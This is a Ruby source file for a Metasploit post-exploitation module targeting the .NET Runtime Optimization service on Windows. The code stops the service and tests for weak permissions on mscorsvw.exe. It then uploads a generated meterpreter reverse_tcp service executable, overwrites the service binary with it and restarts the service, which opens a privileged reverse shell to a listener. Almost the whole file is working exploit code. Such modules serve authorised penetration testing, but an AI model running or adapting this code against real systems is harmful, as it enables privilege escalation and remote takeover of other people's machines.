metasploit-framework/modules/post/windows/escalate/net_runtime_modify.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/post/windows/services'
require 'rex'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::WindowsServices

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Escalate Microsoft .NET Runtime Optimization Service Privilege Escalation',
			'Description'   => %q{
				This module attempts to exploit the security permissions set on the .NET Runtime
			Optimization service. Vulnerable versions of the .NET Framework include 4.0 and 2.0.
			The permissions on this service allow domain users and local power users to modify
			the mscorsvw.exe binary.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'bannedit' ],
			'Version'       => '$Revision$',
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'References'    =>
				[
					[ 'OSVDB', '71013' ],
					[ 'EDB', 16940 ]
				]
		))

		register_options([
			OptAddress.new("LHOST", [ false, "Listener IP address for the new session" ]),
			OptPort.new("LPORT", [ false, "Listener port for the new session", 4444 ]),
		])

	end

	def run
		paths = []
		services = []
		vuln = ""
		@temp = session.fs.file.expand_path("%TEMP%")

		if init_railgun() == :error
			return
		end

		print_status("Checking for vulnerable .NET Framework Optimization service")
		print_status("This may take a few minutes.")
		# enumerate the installed .NET versions
		service_list.each do |service|
			if service =~ /clr_optimization_.*/
				info = service_info(service)
				paths << info['Command']
				services << service
				begin
					service_stop(service) # temporarily stop the service
					print_status("Found #{info['Name']} installed")
				rescue
					print_error("We do not appear to have access to stop #{info['Name']}")
				end
			else
				next
			end
		end

		paths.each do |image|
			if check_perms(image)
				vuln << image
				break
			end
		end

		if vuln.nil? or vuln.empty?
			print_error("Could not find any vulnerable .NET Framework Optimization services")
			return
		else
			payload = setup_exploit
		end

		services.each do |service|
			session.railgun.kernel32.CopyFileA(payload, vuln, false)
			mng = session.railgun.advapi32.OpenSCManagerA(nil,nil,1)
			if mng['return'].nil?
				print_error("Cannot open service manager, not enough privileges")
				return
			end
			# restart the service
			status = service_start(service)

			if status == 0
				print_status("Restarted #{service}")
			else
				print_error("Failed to restart #{service}")
			end
			return
		end
	end

	def check_perms(image)
		if image !~ /mscor/
			return
		end

		if !session.railgun.kernel32.MoveFileA(image, image + '.bak')['return']
			print_error("Found Secure Permissions on #{image}")
			return false
		else
			print_status("Found Weak Permissions on #{image}")
			print_status("Exploiting...")
			return true
		end
	end

	def init_railgun
		begin
		rg = session.railgun
		if (!rg.get_dll('advapi32'))
			rg.add_dll('advapi32')
		end
		rescue Exception => e
			print_error("Could not initalize railgun")
			print_error("Railgun Error: #{e}")
			return :error
		end
	end

	def setup_exploit
		lhost = datastore["LHOST"] || Rex::Socket.source_address
		lport = datastore["LPORT"] || 4444
		p_mod = datastore['PAYLOAD'] || "windows/meterpreter/reverse_tcp"
		file  = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

		payload = session.framework.payloads.create(p_mod)
		payload.datastore['LHOST'] = lhost
		payload.datastore['LPORT'] = lport

		exe = Msf::Util::EXE.to_win32pe_service(session.framework, payload.generate)
		begin
			print_status("Uploading payload #{file} executable to temp directory")
			# Upload the payload to the filesystem
			file = @temp + "\\" + file
			fd = session.fs.file.new(file, "wb")
			print_status("Writing #{file}...")
			fd.write(exe)
			fd.close
		rescue Exception => e
			print_error("Error uploading file #{file}: #{e.class} #{e}")
			return
		end

		print_status("Setting up multi/handler...")
		print_status("Using Payload #{p_mod}...")
		handler = session.framework.exploits.create("multi/handler")
		handler.register_parent(self)
		handler.datastore['PAYLOAD'] = p_mod
		handler.datastore['LHOST']   = lhost
		handler.datastore['LPORT']   = lport
		handler.datastore['InitialAutoRunScript'] = "migrate -f"
		handler.datastore['ExitOnSession'] = true
		handler.datastore['ListenerTimeout'] = 300
		handler.datastore['ListenerComm'] = 'local'

		# handler.exploit_module = self
		handler.exploit_simple(
			'LocalInput'  => self.user_input,
			'LocalOutput' => self.user_output,
			'Payload'  => handler.datastore['PAYLOAD'],
			'RunAsJob' => true
		)

		print_status("Upload complete")
		return file
	end
end